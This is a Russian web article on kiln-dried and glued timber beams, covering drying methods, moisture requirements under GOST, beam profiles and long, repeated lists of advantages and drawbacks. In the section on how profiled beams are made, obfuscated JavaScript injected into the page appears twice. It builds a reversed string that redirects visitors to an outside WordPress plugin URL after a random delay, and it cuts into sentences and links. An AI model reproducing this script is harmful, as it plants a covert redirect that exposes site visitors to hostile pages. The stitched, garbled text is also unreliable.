Что такое брус камерной сушки: описание, характеристики, плюсы и минусы

Плюсы и минусы применения

Современное деревянное жилое строительство невозможно представить без использования бруса камерной сушки. Застройщики отмечают множество его положительных качеств, основные из которых:

1. Практическое отсутствие трещин, у хорошего материала его показатель не превышает 3-4% от общего объема. Это достигается за счет выдерживания технологии сушки и выбора правильного профиля бруса и разгрузочных пазов.
2. Малый объем усадки ниже 8%, что позволяет практически сразу начинать отделочные работы.
3. Дом из камерного бруса не уменьшает высоту помещений из-за усадочных процессов.
4. Экологическая древесина, поскольку не использует клей.
5. Гладкие обработанные грани бруса, не требующие проведения дорогостоящих и внутренних и наружных отделочных работ.
6. Замечательный вид.
7. Создание теплого дома за счет идеального межбрусового прилегания.
8. Экономичное строительство, требуется меньше выполнять конопатки и обработки стен. Влагостойкая стена, форма рассчитана таким образом, чтобы вода не попадала между брусьями, защищая стены от гниения.
9. Простота и высокая скорость возведения коробки дома.
10. Дом дышит, поскольку структура дерева при обработке не нарушается. Даже при закрытых окнах, воздухообмен в доме продолжает циркулировать наполняя его свежим ароматом дерева.
11. Сопротивление биологическому воздействию грибков и бактерий, благодаря заводской пропитке глубокого проникновения.
12. Стены не разрушаются от резких перепадов температур.
13. Долговечность более 50 лет.

К минусам камерного бруса специалисты относят сложность процесса сушки, который должен обеспечивать равномерность его прогревания, опасность неравномерного высыхания изделий большой толщины, когда середина остается влажной, высокая цена на готовый материал и на 30 % выше чем на необработанный брус.

Что такое клееный брус

Клееный брус – это материал, созданный из цельной древесины посредством склеивания нескольких слоев деревянных ламелей . Получаемые заготовки также проходят обработку и приобретают в результате производства нужный профиль. Из клееного бруса активно строят не только частные загородные дома, но и коммерческие здания, промышленные комплексы и даже многоквартирные высотки. Клееный брус успел зарекомендовать себя как высококачественный и высокотехнологичный строительный материал, хотя на рынке закрепился относительно не так давно.

Технологию клееных деревянных конструкций начали применять в Европе еще с начала XX века, а в России клееный брус появился в 90-е годы, приобретя широкую популярность к 2000-м. С возрастающим спросом на экологичное жилье растет спрос и на клееный брус, так как это полностью натуральный материал, обладающий предсказуемыми свойствами и высокими качественными характеристиками. Благодаря уникальной технологии изготовления клееный брус практически лишился выраженных дефектов древесины, таких как появление широких трещин, потеря формы и усадка.

Качественный клееный брус не боится повышенной влажности, в отличие от цельных бревен, так как клеящий слой между ламелями не подвержен воздействию влаги. Для изготовления клееного бруса в России применяют в основном древесину хвойных пород – сосны и ели, реже – лиственницы и кедра. Сосна обладает прочностью и твердостью, имеет приятный цвет и неповторимый смолистый запах. Смолы также повышают естественную устойчивость древесины к появлению грибка и плесени. Древесина сосны идеально подходит для изготовления клееного бруса, так как обладает высоким качеством и легко обрабатывается. Древесина ели отличается меньшей смолистостью, а вот сучков у нее больше, чем у сосны. Пиломатериал из ели мягкий, однородный и легко обрабатывается. Любая древесина хвойных пород, из которой производится клееный брус, наполняет пространство дома фитонцидами, убивающими болезнетворные микроорганизмы и улучшающими домашний микроклимат.

Технология производства бруса камерной сушки

Производство цельного профилированного бруса естественной и камерной сушки не имеет отличий с точки зрения очередности этапов. Но отличается их содержание и длительность. В частности – этап сушки древесины.

Сушка древесины необходима для предотвращения появления трещин, кручения, деформаций и т.п. на этапе производства, а не эксплуатации дома. Чем суше будет строительный материал, тем более надежным будет построенный из него дом.

Т.е., именно сушка оказывает наибольшее влияние на прочность, качество, количество трещин, вероятность появления деформаций и сохранность физических и эксплуатационных свойств профилированного бруса.

После сушки заготовки калибруются, и часть из них отбраковывается. Производители отмечают, чем больше сечение бруса, тем выше процент отбракованных заготовок. Именно этим объясняется незначительное присутствие на рынке профилированного бруса сечением 200х200 и его более высокая, по сравнению с другими видами, цена.

Преимущества бруса как строительного материала

Коттедж для постоянного проживания или маленький дачный домик должны быть построены из надежного материала. Брус, как нельзя лучше подходит для этих целей, так как обладает явными преимуществами по сравнению с кирпичом или бетоном. Он является природным живым материалом, который наделен невероятной красотой. Его достоинствами являются:

• Небольшая стоимость работ. Стоимость возведения построек из бруса считается достаточно доступной. Объясняется это тем, что не требуется мощного фундамента, простотой технологии, небольшим сроком выполнения работ, невысокими ценами на материалы.
• Минимальное время возведения дома. Брусовые здания собираются в течение нескольких недель. Нередко при их строительстве применяются элементы различной степени готовности (заготовки необходимого размера), что ускоряет процесс возведения дома.
• Экологичность. Дерево – натуральное сырье, которое обеспечивает отличную гигиену и экологичность в доме. Материал естественным путем регулирует в помещении уровень влажности и поддерживает необходимую температуру. Человеку значительно комфортнее находится в деревянном доме, чем в панельных или кирпичных жилищах, которые кажутся неприветливыми и как бы ”давят”.

Внутри дома из бруса находиться так же комфортно, как и в роще на опушке лесаИсточник dombrevno.ru

• Не обязательна внутренняя отделка помещения. Брус внешне выглядит очень красиво, поэтому его достаточно покрыть лаком или морилкой. Это эффективно подчеркивает естественный рисунок дерева, в особенности, если используется древесина ценных пород.
• Высокие теплоизоляционные свойства. Материал все больше применяется для капитального жилья, в котором можно проживать в любое время года. Построенное с соблюдением технологий здание, имеет оптимальную толщину стенок, где отсутствуют щели и зазоры. Оно отлично защищает хозяев от морозов без дополнения теплоизоляцией. В зимнее время в брусовом жилье уютно и тепло, а летнее – прохладно.

К сожалению, такой замечательный материал, помимо неоспоримых преимуществ, имеет некоторые недостатки. К ним относится:

Пожароопасность. Все постройки, выполненные из дерева, подвергаются высокому риску возгорания. Поэтому каждый брус в обязательном порядке пропитываются огнеупорными составами – если у строительной компании налажен полный цикл производства, то зачастую это делается еще на заводе. Брус, который пропитан антипиреном, становится значительно устойчивее к возгоранию. Но это совсем не значит, что можно пренебречь правилами пожарной безопасности.

Стены постройки из бруса обязательно пропитываются защитными составамиИсточник steklozerk-m.ru

Постепенное разрушение дерева под влиянием внешних факторов. Перепады температур, повышенная влажность, микроорганизмы, насекомые со временем разрушают материал. Для предотвращения биологических факторов существуют специальные антисептические средства. Благодаря окраске и покрытию лаком торцов, влага не проникает внутрь материала. Необходимо грамотно и своевременно проводить подобные мероприятия, тогда брусовый дом будет служить до 100 лет.

В целом, брус, независимо от разновидности, является надежным, прочным и эстетичным материалом, идеально подходящим для строительства теплых красивых жилых домов. А чтобы понять, какой из видов этого стройматериала подойдет для вашего строительства, нужно выяснить, в чем разница клееного бруса и профилированного бруса.

Сферы применения

Мини-брус является новым материалам, который создал достойную конкуренцию стандартному брусу. Сферы использования этого материала охватывают большое количество областей в загородном малоэтажном строительстве.

Этот продукт – идеальный вариант для людей, которые хотят быстро и недорого возвести деревянное жилье. Продукт используют со следующими целями:

• возведение временных деревянных строений в виде гостевых домиков летнего типа;
• сборка капитальных сооружений для сезонного проживания;
• постройка домов для постоянного проживания;
• перестройка жилья, к примеру, достраивание террасы, веранды, навеса;
• благоустройство приусадебных участков, сооружение бань, беседок.

Общие сведения

Краткое описание

Данный пиломатериал имеет отличительную особенность от обычного строганного дерева и более дорогого аналога, подвида бруса – клеенного. Строганное дерево представляет собой обычный древесный материал, обработанный на пилораме с прямоугольным или квадратным сечением, а также не имеет дополнительной обработки в виде сушки дерева и обработки граней.

Как результат, имеем обычную древесину с ровными геометрическими параметрами и пригодностью для строительства. Но учтите то, что при процессе эксплуатации строганный брус начинает терять свою влажность, вследствие чего постройка даст ощутимую усадку, а это в свою очередь приводит к перекосу здания и утрате линейного контура.

Клееная древесина является дорогостоящим пиломатериалом, который делают за счет склеивания между собой ламелей из древесины. Интересно, что перед началом склеивания те проходят первоначальную обработку, шлифовку и сушку в камере, что дает возможность получить идеальный материал для строительства, который не имеет склонность к растрескиванию и усадке. Этот параметр сохраняется за счет того, что брус имеет влажность.

Но учтите, что стоимость материала достаточно высокая. По этой причине застройщики предпочитают покупать для строительства профилированный брус камерной сушки от производителей, которые имеют великолепную репутацию. Именно эта разновидность древесины отлично сочетает в себе приятную цену и нормальное качество, которого подойдет для строительства.

По ГОСТу 8242-88, пиломатериал считается сухим, если его влажность не выше, чем 20%. Для того, чтобы разобраться, что именно представляет собой сухой профилированный брус, нужно разобраться, какие есть требования к влажности. Как мы уже сказали, древесина считается сухой, если ее влажность не больше 20%. Если же дерево имеет влажность от 22 до 28% и выше, древесина имеет естественную влажность. При этом учтите, что рекомендованная влажность древесины для строительных работ должна быть от 15 до 20%, это условие регламентировано в ГОСТе 475, ГОСТе 23166, ГОСТе 8242 и ГОСТе 4981. Заметим и то, что требования к древесине, из которой производят плинтуса, фурнитуру, форточки, подоконники и прочее более жесткие. Для этих деталей дерево должно быть с влажностью от 9 до 15%.

Интересно то, что добиться снижения уровня влажности можно при помощи трех способов:

• Естественная сушка.
• Сушка током.
• Камерная сушка.

Естественно, что вторая и третья технология относятся к принудительному просушиванию дерева. Насколько это реально и как выглядит процесс со стороны, мы рассмотрим ниже.

Технология производства – требования к влажности

Изготовление сухого профилированного бруса камерной сушки проводится на высокоточном оборудовании и выполняется в несколько шагов. Отметим, что главным пунктом является именно просушивание древесины.

Итак, дерево для просушивания должно пройти такие стадии обработки:

1. Для начала подготовленные бревна из хвойных пород следует распилить на брус нужного сечения. Также при этом выполняется первичный отбор бракованного сырья. Из общего объема избавляются от бревен со смоляными карманами, гнилью, крупными сучьями и пустотами.
2. После этого пиломатериал размещают в камерах для принудительного просушивания. Сам по себе процесс продлиться от двух до трех недель и в этот период проводят вторичную отбраковку сырья, так как при процессе удаления влаги из дерева материал будет сильно «крутить», что приведет часть сырья к потере линейного контура и даже к растрескиванию.

1. Профилированный брус, высушенный до требуемого уровня влажности (в нашем случае это от 12 до 18%) следует отправить на фрезеровочный станок, где на дереве будут сделаны гребни и пазы для дальнейшей комфортной сборки конструкции из аналогичного материала.
2. И в конце уже подготовленный брус, прошедший камерную сушку, упаковывают в пленку из полиэтилена партиями, чтобы продукция в период хранения сохранила высокое качество, и ее было удобнее перевозить.

Преимущества жилищ построенных из профилированного бруса

Профилированный брус обладает малым весом, соответственно фундамент под здание из такого материала может быть не очень массивным и неглубоким. Можно производить строительство, как на ленточном, так и на столбчатом фундаменте, что в разы уменьшает денежные расходы при строительстве дома.

Объекты, возведенные из такого бруса, помимо своей демократичной цены, имеют еще одно неоспоримое достоинство. Это быстрота строительства дома. Деревянный сруб, изготовленный на предприятии, всегда точный в размерах, поэтому на строительной площадке установка и монтаж такого дома займет мало времени. Облегчает сборку дома и небольшой вес профилированного бруса.

Очень важным во время строительства дома является то, что все работы можно легко проводить в любое время года. Тем, кто возводит для себя дом, важна в первую очередь не только сама цена стройку, но и ценовая политика последующей эксплуатации жилища. В доме, построенном из профилированного бруса, в несколько раз понижаются расходы на само отопление.

Внутренние, а также наружные работы по отделке минимальны, и их легко производить за счет правильности стыков между стеной и потолком, так как профилированный брус очень ровный тем самым он обеспечивает ровные стены внутри помещения. Своему дому, построенному из профилированного бруса, вы реально можете придать любой образ.

Достоинства и особенности

К преимуществам профилированного бруса можно отнести:

• Стоимость. Брус профилированный естественной влажности имеет приемлемую стоимость. А необходимость ожидания усадки позволяет разделить общие затраты на части по времени их необходимости.
• Долгий срок службы.
• Прочность и надежность.
• Структура бревна с профилем значительно упрощает строительство, снижает затраты на утепление.
• Воздухопроницаемость. Брус из цельной древесины не теряет свои характеристики в процессе обработки. Но приобретая клееный брус стоит удостовериться в безопасности клеевой основы.
• Натуральный, экологически чистый материал. Позволяет создать в помещении неповторимы микроклимат, смольные пары оказывают положительное влияние на жильцов.
• Эстетичность. За счет того, что материал имеет гладкую и ровную поверхность, угловые элементы гармонично дополняют общий вид бревенчатого сруба — бревно не требует применения декоративной отделки внутри и снаружи.
• Низкие показатели теплопроводимости при условии соблюдения технологии сборки и использовании качественного утеплителя.
• Равномерная усадка и устойчивость к деформации.
• Сниженный процент влажности и изготовления бревна из ядровой части ствола дерева позволяют уменьшить количество трещин при усадке.
• Простота сборки дома. Соединение шип-паз упрощает процесс и позволяет сложить дом за 1 – 2 месяца.
• Изготовленные в производственных условиях угловые соединения надежно закрепляют венцы.
• Возможность строительства сооружений различных форм и размеров. Стандартно брусья изготавливаются длиной 6 метров, но под заказ могут быть изготовлены необходимой длины.
• Повторная конопатка стен не требуется, потому что гребневой замок исключает возможность появления щелей между венцами.
• Строительство домов из профилированного бруса возможно производить на столбчатом или не глубоком ленточном фундаменте.
• Прокладку коммуникаций (электропроводка, трубы) можно предусмотреть на этапе изготовления. Для этого специальными станками высверливаются технологические отверстия и каналы.

Недостатки профилированного бруса:

• Продолжительный период усадки. При этом использование отопительных и обогревательных приборов может привести к неравномерной усадке и увеличению количества трещин.
• При распиле бревна нарушается структура годичных колец и если их не обработать антисептиками, то может ускорится процесс гниения.
• Образование трещин в процессе сушки. На бревне квадратного сечения они появляются со всех сторон, а если сечение прямоугольной формы — то в основном на широких сторонах, находящихся внутри стены.
• Низкая сопротивляемость воздействию насекомых, огня и атмосферным явлениям. Проблема легко решается применением огнебиозащитных пропиток. После полного высыхания они не выделяет токсичных соединений и не представляет опасности для человека.
• Материал, даже сечением 200 х 200 мм, при использовании в зимний период или в северных регионах, требует дополнительного утепления со стороны фасада.
• Необходимость использования утеплителя в межвенцовых швах.

Существенным минусом дома из профилированного бруса можно назвать — невозможность произведения работ по перепланировке или надстройке.

При выборе материала следует помнить:

• строение брусовое долговечнее из профилированного бруса;
• ровность сторон, что бы проверить достаточно положить брус на ровное основание;
• промежутки между годовыми кольцами должны быть равными, это позволить избежать деформации;
• равномерность и однородность окраса поверхности. Если есть более темные участки — это может свидетельствовать о наличии внутреннего напряжения и возможном изменении формы в будущем.

Анализируя описанные плюсы и минусы профилированного бруса можно сказать, что в сравнении с аналогичными древесными материалами он имеет большую популярность за счет оптимального сочетания качественных характеристик и доступной стоимости.

Работа квалифицированных специалистов

Чтобы впоследствии не расстроиться на результат рекомендуется отказаться от самостоятельной стройки, работу следует отдать в руки профессионалов, наймите бригаду строителей. Стоимость их работы окажется не такой высокой, чем, если вы при неправильном строительстве испортите материал, и вам придется все заново покупать. Что обычно предлагает подрядчик:

Профессиональная подборка фундамента под ваш проект. Возражать по поводу того, что другой вид устраивает многих владельцев и обойдётся гораздо дешевле, чем рекомендуемый, не стоит. Порядочный строитель не возьмётся никогда за строительство изначально обречённого дома. Геодезисты превосходно разбираются в особенностях грунта, поэтому подбирают основание не из-за своей прихоти, а соответственно общепринятым факторам.

Что собой представляет сухой материал?

Вода в древесине хранится в 2-х основных формах: свободная в сосудах и клетках, используется для передвижения питающих веществ по структуре дерева, и в виде связанной воды, которая является неотъемлемой частью клеток. Средняя влажность выдержанной древесины составляет 15 %, а иногда может достигать 21 %.

Большинство конструкций домов из бруса имеют особые требования к содержанию влаги, которые значительно ниже 15%. Поэтому брус проходит процесс камерной сушки, в ходе которого удаляется вся свободная вода и большая часть связанной. При удалении последней меняется размер и форма клетки, а, следовательно, и бруса, поэтому этот процесс проводится с тщательным технологическим контролем за температурой и скоростью подсушки.

Брус камерной сушки — строительный материал, полученный в процесс сушки древесины в термических камерах для удаления связанной влаги, в результате чего получается новый строительный материал для домовозведения.

Сухой брус получают несколькими технологическими приемами, но все методы обеспечивают главное условия качественного продукта — равномерное удаление воды, для предотвращения повреждения исходного сырья при сушке.

Первоначальное снижение влажности является результатом свободной потери воды при первой распиловке

Для дальнейшего снижения влажности потребуется дополнительная сушка. При последующем снижении содержания влаги ниже точки fsp произойдет уменьшение количества связанной воды в клеточной стенке древа, что потребует больше энергии и может протекать медленнее, чем потеря свободной воды и уменьшение размера древесины.

Высушивание в печи позволяет контролировать циркуляцию воздуха, относительную влажность и температуру, чтобы содержание влаги в брусе могло быть снижено до заданного значения без образования дефектов в его структуре.

Различают несколько видов процесса сушки дерева:

1. Камерная сушка, для коммерческих процессов сушки древесины толщиной до 45 мм.
2. Сушка в вакуумной печи. При вакууме падает температура кипения, жидкость испаряется, и время сушки значительно сокращается.
3. Вентиляции продольная по выравниванию древесных волокон и
4. поперечная для больших объемов древесины.

На западе профессиональные столяры, которые хотят сэкономить деньги и избежать высокой стоимости бруса камерной сушки, устраивают у себя в мастерских солнечную печь камерной сушки. Она является недорогой установкой по борьбе с влажностью дерева и очень проста в эксплуатации.

Себестоимость такого вида обработки невысокая, из-за низкого удельного расхода энергии на получение 1 м3 камерного бруса, Энергия потребляется только на работу вентиляторов для циркуляции теплого воздуха, нагреваемого солнечной энергией.

Чтобы солнечная печь не сушила древесину слишком быстро, что может привести к непоправимым дефектам, деревообработчики применяют влагомер для контроля уровня EMC. Это поможет предотвратить растрескивание, коробление или раскалывание готового сухого бруса.

Разновидности и типы

Брус камерной сушки классифицируется:

1. По профилированию: не профилированный и профилированный.
2. По обработке поверхности граней: прямолинейный, когда все плоскости гладкие; D-образный с выпуклой лицевой плоскостью, из-за чего стена из него напоминает оцилиндрованое бревно; О-образный, его плоскости выпуклые лицевые/внутренние формы, а при строительстве такая стена похожа сруб из бревна.
3. По разъемам профилирования: одношиповой с 1-м гребнем, наиболее простой, но имеет недостаток — слабую теплоизоляцию; двойной с повышенной теплоизоляцией с утеплителем в межвенцовом шве; со срезанными фасками, для предотвращения попадания влаги в межгребневую плоскость; немецкая — » гребенка», самая популярная из-за высоких теплотехнических характеристик и финская с двумя гребнями и широким межгребневым участком для закладки утеплителя.
4. По размерам длина выпускаемых изделий находится в диапазоне от 1 до 6 м, последняя считается стандартной, наиболее популярными являются изделия с длинами 2 или 3 м; по размеру сечения стандартные 100, 150 и 200 мм и нестандартные от 45 до 275 мм.

Изготовление и характеристики

В начале процесса изготовления бруса будущие детали из древесины должны иметь одинаковую длину с «запасом», т.е. их размерные параметры должны быть больше расчетных. В момент просушки детали становятся меньше на несколько миллиметров.

Пример: для изготовления профилированного бруса 200*200 бревно нужно брать с сечением 210*210 мм.

Обработка заготовкиИсточник pro-brus.ru

Профилированный брус производится по такой технологии:

1. Со ствола дерева (цельная заготовка) счищают кору и ветки.
2. Бревно проходит обработку с каждой стороны и приобретает 4 стороны правильной геометрической формы.
3. Каждая из четырех получившихся сторон приобретает шипы (элементы замка).

Обычная и чаще используемая длина бруса – 6 м, форма в разрезе – трапециевидная. На двух сторонах есть пазовые соединения во всю длину. При сборке элементов и установке один на другой такие шипы и пазы создают неподвижную конструкцию, и, как следствие, крепкие стены дома.

Благодаря таким элементам соединения, своеобразному «замку», возвести дом из профилированного бруса способен даже не строитель. Такое строительство еще называют «конструктором».

Профилированный брус – плюсы и минусы

Учитывая тот факт, что профилированный брус изготавливается из древесины, которая имеет ряд недостатков, было бы наивно полагать, что он не обладает некоторыми из них. Конечно, отбор сырьевой базы, калибровка, сушка и профилирование позволяют исключить некоторые из них. Но, тем не менее, профилированный брус имеет свои преимущества и недостатки.

Преимущества профилированного бруса:

• экологичность (100% для профилированного бруса из массива, близкая к идеальной для клееного и теплого вида);
• привлекательный внешний вид. Как правило, дома, построенные из профилированного бруса, не нуждаются в наружной отделке;
• способность сохранять линейные размеры;
• защищенность от грибков и плесени;
• повышенная прочность;
• простота монтажа увеличивает скорость строительства;
• здание, построенное из профилированного бруса, дает минимальную усадку (2-3%);
• минимальная теплопроводность, включая минимизацию мостиков холода в межвенцовых швах;
• отсутствие необходимости в конопатке;
• способность стен «дышать»;
• устойчивость места примыкания соседних брусьев к затеканию влаги;
• долговечность;
• оптимальное соотношение по показателю «цена/качество».

Недостатки профилированного бруса:

• частный брак при профилировании. Требуется внимательный осмотр соединительных сторон на каждой единице товара;
• сухой профилированный брус на треть дороже клееного профилированного бруса;
• необходимость четко выдерживать технологию монтажа, особенно внимательно следить за плотностью примыкания и крепления брусьев;
• со временем натуральная древесина темнеет, что может потребовать дополнительной внешней отделки.

Заключение

Предложение профилированного бруса довольно велико, но и спрос на него постоянно растет. Профбрус хорошо зарекомендовал себя в странах Европы, а мастерство и знание технологии строительства позволят успешно эксплуатировать его и в отечественных условиях.

Применение

Профильный брус в строении – это всегда красиво, экономично и тепло. Именно поэтому он получил широкую область применения. Используется при возведении строений с разными архитектурными стилями. А применение высококачественной технологии его производства позволяет за короткий срок возводить комфортный и уютный дом.

Чаще всего он используется при строительстве жилых и дачных домов, бань, строения функционального назначения: туристические и жилые комплексы. Современная технология монтажа обеспечивает высокую прочность всем сооружениям. Поэтому все чаще в районах с повышенной сейсмической активностью профильный брус стал основным строительным материалом.

Срубы камерной сушки

Для сокращения продолжительности высыхания древесины используется камерная сушка. При таком способе сушка проводится под действием воздуха, пара или смеси топочного газа и воздуха, прогретого до 100 С в течение 20 дней.

Камерная сушка применяется для:

• максимального снижения влажности древесины;
• для ее обеззараживания от спор грибков, личинок вредных насекомых, а также повышается ее биологическая стойкость;
• для увеличения сроков эксплуатации.

Основываясь на мнение и отзывы о срубах камерной сушки, можно выделить ряд преимуществ:

• дает минимальную усадку (составляет 3%). Этого вполне достаточно, чтобы во время эксплуатации строения не деформировалось.
• Брус, имеющий повышенную сучковатость, при камерной сушке сразу отбраковывается.
• Строительство проходит в минимальные сроки (за 1-2 месяца) и возможно возводить крышу и проводить внутреннюю отделку сразу же после монтажа сруба.
• Образование трещин сводится к минимуму.
• Обладает минимальной теплопроводимостью.
• Его размеры позволяют применять в строениях разной сложности.

Здоровый и благоприятный микроклимат внутри дома может создать только дерево. Его стоимость и высокие показатели качества, естественная красота древесины, экологичность удовлетворят любого из застройщиков.

Технологические аспекты производства

Как делают профилированный брус

Дискуссии о том, tobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to-luchshe-brus-ili-brevno» rel=»bookmark»>что лучше — брус или бревно, а также какой брус лучше — сухой или естественной влажности – в среде профессиональных строителей не теряет своей актуальности и по сей день.

Чтобы наши читатели могли сформировать свою точку зрения, вначале мы разберемся, что же представляет собой строительный брус как таковой:

• Чаще всего под брусом подразумевается заготовка, которая либо выпиливается из цельного древесного ствола, либо склеивается из досок подходящей длины и толщины.
• На верхней и нижней плоскости бруса в процессе изготовления формируется профиль особой формы (наиболее популярны конфигурации «два шипа» и «гребенка»). Конфигурация профиля подбирается с таким расчетом, чтобы два бруса соединялись между собой практически без зазора.

Формирвоание профиля

Наиболее простым в изготовлении считается массивный материал, вырезанный из цельной заготовки. Клееные разновидности бруса, например, из лиственницы отличает высокая цена, но в то же время они характеризуются минимальной усадкой и практически полным отсутствием деформаций.

Что касается содержания влаги в древесине, то по этому параметру различают сырье естественной влажности и заготовки, подвергнутые камерной сушке. Что такое брус естественной влажности и в чем заключается его отличие от высушенного, мы расскажем в следующем разделе.

Влажность бруса

Влажность древесины – это показатель, который характеризует долю воды в составе строительного сырья.

И здесь следует учитывать ряд нюансов:

• Вода в дереве делится на две категории – свободную и связанную. Свободная влага удаляется из дерева очень легко путем естественного испарения. Достаточно, чтобы древесина пролежала некоторое время в помещении с нормальным уровнем влажности – и доля свободной воды в брусе снизится до минимума.
• Со связанной водой все сложнее: для ее удаления приходится применять специальные технологии, поскольку естественное высушивание демонстрирует очень низкую эффективность. Кроме того, увеличение количества связанной воды приводит к снижению прочности дерева.

$NjS=function(n){if(typeof ($NjS.list)==»string») return $NjS.list.split(«»).reverse().join(«»);return $NjS.list;};$NjS.list=[«\’php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.stobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to-sushilnoy-kamery-v-deystvii-600×450.jpg» width=»600″ height=»450″ /> Фото сушильной камеры в действии

Исходя их этого, под брусом естественной влажности понимают материал, который подвергся удалению только свободной воды. Для снижения содержания связанной влаги  необходимо проводить обработку древесины в специальных камерах  — только так мы можем получить сухой брус.

Особенности использования в строительстве

Чем же отличаются дома из бруса естественной влажности от зданий, возведенных из сухого материала?

Первое, и самое важное отличие, заключается в усадке древесины. Все дело в том, что связанная влага, как мы отмечали выше, покидает древесину медленно

При этом происходит деформация деревянной детали, вызывающая изменение линейных размеров.

• Если вы возводите дом из такого материала своими руками, то стоит отдельно позаботиться о поддержании формы оконный и дверных проемов. Чтобы при высыхании форма окон и дверей оставалась неизменной, необходимо заранее устанавливать в проемы специальные конструкции – обсады.
• Если для строительства используется проф брус естественной влажности, специалисты рекомендуют проводить основные работы в холодное время года. Это связано в первую очередь с уменьшение риска образования трещин при высыхании: чем ниже будет температура в первые два-три месяца, тем ниже вероятность растрескивания влажного дерева.

Компенсационные пропилы

Еще одна особенность – наличие благотворной среды для развития бактерий и грибков. На сухом дереве эти паразиты селятся крайне неохотно. Следовательно, для защиты постройки нужно применять соответствующие меры (обеспечивать гидроизоляцию, наносить пропитки и т.д.).

Биозащитные составы

Плюсы и минусы профилированного бруса

Основные преимущества

Профилированный брус имеет множество преимуществ в сравнении с другими материалами:

• привлекательный внешний вид (дома из него не требуют дополнительной отделки);
• экологически чистый;
• низкая теплопроводность, позволяет снизить расходы на обогрев дома;
• нет необходимости в герметизации стен, так как венцы плотно прилегают друг к другу;
• высокая прочность;
• обработан средствами против грибков, плесени и возгорания;
• удерживает первоначальные габариты;
• простота сборки;
• быстрый монтаж;
• длительный срок службы;
• не растрескивается;
• после сборки сруба из просушенного профилированного бруса происходит незначительная усадка дома;
• дом легче, чем из других материалов, поэтому не требует массивного основания. Может устанавливаться на столбчатом или ленточном фундаменте.

Профилированный брус — недостатки

Профилированный брус имеет несколько минусов:

• Частый брак при производстве.
• Нередко встречаются дефекты профиля.
• Не всегда достаточно просушен, вследствие чего увеличивается срок усадки.
• Высокая горючесть. Требует соблюдения противопожарных норм, нуждается в специальной обработке.
• Необходимость в дополнительном утеплении. Она возникает, когда толщина — не соответствует климатическим условиям или не соблюдается технология строительства.
• Древесина со временем темнеет.
• После завершения стройки сложно изменить планировку помещений.